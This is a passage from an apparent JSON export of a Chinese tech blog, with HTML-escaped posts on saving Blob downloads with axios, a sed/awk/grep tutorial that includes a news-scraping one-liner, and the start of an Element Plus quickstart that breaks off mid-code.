class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"title function_\"\u003eserviceAxios\u003c/span\u003e({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003emethod\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;POST\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003eurl\u003c/span\u003e: \u003cspan class=\"string\"\u003e`/template/export/\u003cspan class=\"subst\"\u003e${\u003cspan class=\"variable language_\"\u003ethis\u003c/span\u003e.form_data.id}\u003c/span\u003e`\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003eheaders\u003c/span\u003e: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title class_\"\u003eAccept\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;application/vnd.ms-excel\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;Content-Type\u0026#39;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;application/json\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title class_\"\u003eToken\u003c/span\u003e: \u003cspan class=\"variable language_\"\u003elocalStorage\u003c/span\u003e.\u003cspan class=\"title function_\"\u003egetItem\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;token\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003edata\u003c/span\u003e: \u003cspan class=\"variable language_\"\u003ethis\u003c/span\u003e.\u003cspan class=\"property\"\u003eform_data\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003eresponseType\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;blob\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e})\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e.\u003cspan class=\"title function_\"\u003ethen\u003c/span\u003e(\u003cspan class=\"function\"\u003e(\u003cspan class=\"params\"\u003eres\u003c/span\u003e) =\u0026gt;\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable language_\"\u003ethis\u003c/span\u003e.\u003cspan class=\"property\"\u003eisShow\u003c/span\u003e = \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title function_\"\u003edownload\u003c/span\u003e(\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eres,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026#39;application/vnd.openxmlformats-officedocument.spreadsheetml.sheet\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable language_\"\u003ethis\u003c/span\u003e.\u003cspan class=\"property\"\u003eform_data\u003c/span\u003e.\u003cspan class=\"property\"\u003ename\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e )\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title class_\"\u003eElMessage\u003c/span\u003e.\u003cspan class=\"title function_\"\u003esuccess\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;下载成功\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e})\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e.\u003cspan class=\"title function_\"\u003ecatch\u003c/span\u003e(\u003cspan class=\"function\"\u003e(\u003cspan class=\"params\"\u003eerr\u003c/span\u003e) =\u0026gt;\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title class_\"\u003eElMessage\u003c/span\u003e.\u003cspan class=\"title function_\"\u003eerror\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;下载失败:\u0026#39;\u003c/span\u003e + err)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e})\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这样就行了。里面的\u003ccode\u003edownload()\u003c/code\u003e是随便封装的一个下载Blob文件的工具函数,参数分别是blob数据,MIME类型和文件名。\u003c/p\u003e\u003ch2 id=\"反思\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%85%B3%E4%BA%8E%E5%89%8D%E7%AB%AFBlob%E4%B8%8B%E8%BD%BD%E9%82%A3%E7%82%B9%E4%BA%8B/#%E5%8F%8D%E6%80%9D\" class=\"headerlink\" title=\"反思\"\u003e\u003c/a\u003e反思\u003c/h2\u003e\u003cp\u003e这学期学计网的时候,重点学的部分是物理层,数据链路层,网络层以及传输层。唯一剩下的一层应用层则因为课时压缩直接压没了(但是期末大题还是考了SMTP协议)。但是恰恰是应用层这一部分在日常前端开发中使用最多。\u003c/p\u003e\u003cp\u003e这侧面反映出来了大学教育体系的一些问题,也提醒我们,书不能看一半,趁着大学有时间,尽量让自己的知识面更加全面一些,这是绝对值得的。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/07/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%85%B3%E4%BA%8E%E5%89%8D%E7%AB%AFBlob%E4%B8%8B%E8%BD%BD%E9%82%A3%E7%82%B9%E4%BA%8B/"},{"title":"sed,awk与grep","time":"2023-07-10T08:17:33Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"前言\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/sed%EF%BC%8Cawk%E4%B8%8Egrep/#%E5%89%8D%E8%A8%80\" class=\"headerlink\" title=\"前言\"\u003e\u003c/a\u003e前言\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e关于标题:实际上,sed,awk和grep有一个共同的爹叫\u003cstrong\u003eed\u003c/strong\u003e。sed和awk的区别是控制指令不太一样,而grep是起源于ed的一个指令:\u003ccode\u003eg/re/p\u003c/code\u003e,即\u003cstrong\u003e全局-正则表达式匹配-打印\u003c/strong\u003e,相当于把这个ed指令提取出来专门用于编辑。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e之前学了Vim,不过Vim不太容易和其他命令行工具结合实现一些自动化任务。随后我将目光投向了sed和awk,它们二者都满足这个条件:\u003cstrong\u003e可以将一个源的数据经过一些预定义的变换,输出到另一个源中\u003c/strong\u003e。这其中,我对\u003ccode\u003esed\u003c/code\u003e相对更加熟悉一些,awk我感觉可能更复杂一些,而sed只需要正则表达式就行。比如我之前接触到的第一个sed表达式:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esed -i \u003cspan class=\"string\"\u003e\u0026#39;s@^\\(deb.*stable main\\)$@#\\1\\ndeb https://mirrors.tuna.tsinghua.edu.cn/termux/apt/termux-main stable main@\u0026#39;\u003c/span\u003e \u003cspan class=\"variable\"\u003e$PREFIX\u003c/span\u003e/etc/apt/sources.list\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面那段是termux清华源的换源指令。单就命令格式上来看,我觉得和Vim的\u003ccode\u003e%s\u003c/code\u003e替换表达式比较接近。\u003c/p\u003e\u003cp\u003e没接触之前,一直觉得这玩意很神奇;接触后更感觉这东西的设计太棒了,只需要指令,就能完成大段内容的编辑。\u003c/p\u003e\u003cp\u003e后来接触了正则和Vim之后觉得似曾相识,才发现sed的用法很像Vim的替换指令+正则。而且这一套下来,效率提升真不小。以前做一些爬虫都编辑麻烦,现在直接写个脚本就完事了。比如,我最近为了尝试这三个流编辑器,写了一个爬新闻的脚本:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#!/bin/bash\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e -e \u003cspan class=\"string\"\u003e\u0026#34;# IT news Today\\n\\n\u003cspan class=\"subst\"\u003e$(wget -qO- https://www.ithome.com/block/rank.html | grep -oP \u0026#39;\u0026lt;li\u0026gt;\\s*\u0026lt;a\\K[^\u0026gt;]+\u0026#39; | awk -F \u0026#39;\u003cspan class=\"string\"\u003e\u0026#34;\u0026#39; \u0026#39;{print \u0026#34;\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$2\u003c/span\u003e\u0026#34;\u003c/span\u003e](\u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$6\u003c/span\u003e\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u0026#34;\u003c/span\u003e}\u003cspan class=\"string\"\u003e\u0026#39; | sed \u0026#39;\u003c/span\u003es/^/- /g\u003cspan class=\"string\"\u003e\u0026#39;)\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这是一个简单的单行脚本:借助管道,将wget抓取到的网页直接交由grep,让它使用Perl正则表达式将新闻标题和链接匹配出来,再交由awk将具体的字段分离出来并按照markdown的标准进行加工,最后交由sed使用行编辑模式在每一行前面加上一个\u003ccode\u003e- \u003c/code\u003e变换为markdown的列表。最后,将输出返回给\u003ccode\u003eecho -e\u003c/code\u003e,得到加上标题的、完整的输出。\u003c/p\u003e\u003cp\u003e其实,上面的例子只用grep+sed/awk就行,但是为了表现三个编辑器各自的特点,还是安排它们共同完成了这个变换工作。希望这个例子能给你带来一个粗浅的印象。\u003c/p\u003e\u003cp\u003e那么,现在就开始正篇吧。\u003c/p\u003e\u003ch2 id=\"sed\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/sed%EF%BC%8Cawk%E4%B8%8Egrep/#sed\" class=\"headerlink\" title=\"sed\"\u003e\u003c/a\u003esed\u003c/h2\u003e\u003cp\u003e首先说说sed它爹ed,这玩意是个很经典的行编辑器。不光可以交互编辑(类似于Vim,不过只能通过交互式指令输出操作结果,比如p输出当前行内容之类的),而且还能把操作指令存储下来\u003c/p\u003e\u003ch3 id=\"基本介绍\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/sed%EF%BC%8Cawk%E4%B8%8Egrep/#%E5%9F%BA%E6%9C%AC%E4%BB%8B%E7%BB%8D\" class=\"headerlink\" title=\"基本介绍\"\u003e\u003c/a\u003e基本介绍\u003c/h3\u003e\u003cp\u003esed是一个流编辑器,它可以对文本文件或标准输入进行处理和编辑。sed的基本用法是:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esed [options] \u003cspan class=\"string\"\u003e\u0026#39;script\u0026#39;\u003c/span\u003e file\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e其中,options是一些可选的参数,script是一些sed命令,file是要处理的文本文件。下面是一些常用的options:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e-n\u003c/code\u003e:只打印匹配到的行,不打印所有行。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e-e\u003c/code\u003e:可以指定多个script,按顺序执行。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e-f\u003c/code\u003e:可以从一个文件中读取script。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e-i\u003c/code\u003e:可以直接修改原文件,而不是输出到标准输出。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e-r\u003c/code\u003e:可以使用扩展正则表达式。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003esed的script由一些地址和命令组成,地址可以指定要处理的行,命令可以指定要执行的操作。下面是一些常用的地址和命令:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e地址可以是一个数字,表示行号,如\u003ccode\u003e3\u003c/code\u003e表示第三行。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e地址可以是一个范围,表示行号之间的区间,如\u003ccode\u003e3,5\u003c/code\u003e表示第三行到第五行。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e地址可以是一个正则表达式,表示匹配该模式的行,如\u003ccode\u003e/^abc/\u003c/code\u003e表示以abc开头的行。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e地址可以是\u003ccode\u003e$\u003c/code\u003e,表示最后一行。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e如果不指定地址,默认对所有行进行处理。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e命令可以是\u003ccode\u003ea\u003c/code\u003e,表示在当前行后面添加一些内容,如\u003ccode\u003ea\\newline\u003c/code\u003e表示在当前行后面添加一行newline。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e命令可以是\u003ccode\u003ec\u003c/code\u003e,表示用新的内容替换当前行,如\u003ccode\u003ec\\newtext\u003c/code\u003e表示用newtext替换当前行。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e命令可以是\u003ccode\u003ed\u003c/code\u003e,表示删除当前行,如\u003ccode\u003ed\u003c/code\u003e表示删除当前行。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e命令可以是\u003ccode\u003ep\u003c/code\u003e,表示打印当前行,如\u003ccode\u003ep\u003c/code\u003e表示打印当前行。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e命令可以是\u003ccode\u003es\u003c/code\u003e,表示用新的内容替换匹配到的内容,如\u003ccode\u003es/old/new/g\u003c/code\u003e表示将old替换为new,g表示全局替换。\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"示例:\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/sed%EF%BC%8Cawk%E4%B8%8Egrep/#%E7%A4%BA%E4%BE%8B%EF%BC%9A\" class=\"headerlink\" title=\"示例:\"\u003e\u003c/a\u003e示例:\u003c/h3\u003e\u003cul\u003e\u003cli\u003e打印1-3行:\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esed -n \u003cspan class=\"string\"\u003e\u0026#39;1,3p\u0026#39;\u003c/span\u003e file.txt\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cul\u003e\u003cli\u003e删除1-3行:\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esed \u003cspan class=\"string\"\u003e\u0026#39;1,3d\u0026#39;\u003c/span\u003e file.txt\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cul\u003e\u003cli\u003e在所有行前加#:\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esed \u003cspan class=\"string\"\u003e\u0026#39;s/^/#/g\u0026#39;\u003c/span\u003e file.txt\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cul\u003e\u003cli\u003e将所有字母大写:\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esed \u003cspan class=\"string\"\u003e\u0026#39;s/.*/\\U\u0026amp;/g\u0026#39;\u003c/span\u003e file.txt\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"参考资料\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/sed%EF%BC%8Cawk%E4%B8%8Egrep/#%E5%8F%82%E8%80%83%E8%B5%84%E6%96%99\" class=\"headerlink\" title=\"参考资料\"\u003e\u003c/a\u003e参考资料\u003c/h3\u003e\u003cp\u003e¹: \u003ca href=\"https://www.runoob.com/linux/linux-comm-sed.html\"\u003eLinux sed 命令 | 菜鸟教程\u003c/a\u003e\u003cbr/\u003e²: \u003ca href=\"https://zhuanlan.zhihu.com/p/181734158\"\u003esed 命令快速入门 - 知乎\u003c/a\u003e\u003cbr/\u003e³: \u003ca href=\"https://zhuanlan.zhihu.com/p/145661854\"\u003esed完全教程 - 知乎\u003c/a\u003e\u003c/p\u003e\u003ch2 id=\"awk\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/sed%EF%BC%8Cawk%E4%B8%8Egrep/#awk\" class=\"headerlink\" title=\"awk\"\u003e\u003c/a\u003eawk\u003c/h2\u003e\u003ch2 id=\"grep\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/sed%EF%BC%8Cawk%E4%B8%8Egrep/#grep\" class=\"headerlink\" title=\"grep\"\u003e\u003c/a\u003egrep\u003c/h2\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/07/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/sed%EF%BC%8Cawk%E4%B8%8Egrep/"},{"title":"ElementPlus快速入门","time":"2023-07-09T17:13:15Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"快速开始\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#%E5%BF%AB%E9%80%9F%E5%BC%80%E5%A7%8B\" class=\"headerlink\" title=\"快速开始#\"\u003e\u003c/a\u003e快速开始\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#%E5%BF%AB%E9%80%9F%E5%BC%80%E5%A7%8B\"\u003e#\u003c/a\u003e\u003c/h1\u003e\u003cp\u003e本节将介绍如何在项目中使用 Element Plus。\u003c/p\u003e\u003ch2 id=\"用法\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#%E7%94%A8%E6%B3%95\" class=\"headerlink\" title=\"用法#\"\u003e\u003c/a\u003e用法\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#%E7%94%A8%E6%B3%95\"\u003e#\u003c/a\u003e\u003c/h2\u003e\u003ch3 id=\"完整引入\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#%E5%AE%8C%E6%95%B4%E5%BC%95%E5%85%A5\" class=\"headerlink\" title=\"完整引入#\"\u003e\u003c/a\u003e完整引入\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#%E5%AE%8C%E6%95%B4%E5%BC%95%E5%85%A5\"\u003e#\u003c/a\u003e\u003c/h3\u003e\u003cp\u003e如果你对打包后的文件大小不是很在乎,那么使用完整导入会更方便。\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e// main.ts\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport { createApp } from \u0026#39;vue\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport ElementPlus from \u0026#39;element-plus\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport \u0026#39;element-plus/dist/index.css\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport App from \u0026#39;./App.vue\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003econst app = createApp(App)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapp.use(ElementPlus)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapp.mount(\u0026#39;#app\u0026#39;)\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch4 id=\"Volar-支持\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#Volar-%E6%94%AF%E6%8C%81\" class=\"headerlink\" title=\"Volar 支持#\"\u003e\u003c/a\u003eVolar 支持\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#volar-%E6%94%AF%E6%8C%81\"\u003e#\u003c/a\u003e\u003c/h4\u003e\u003cp\u003e如果您使用 Volar,请在 \u003ccode\u003etsconfig.json\u003c/code\u003e 中通过 \u003ccode\u003ecompilerOptions.type\u003c/code\u003e 指定全局组件类型。\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e// tsconfig.json\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026#34;compilerOptions\u0026#34;: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e // 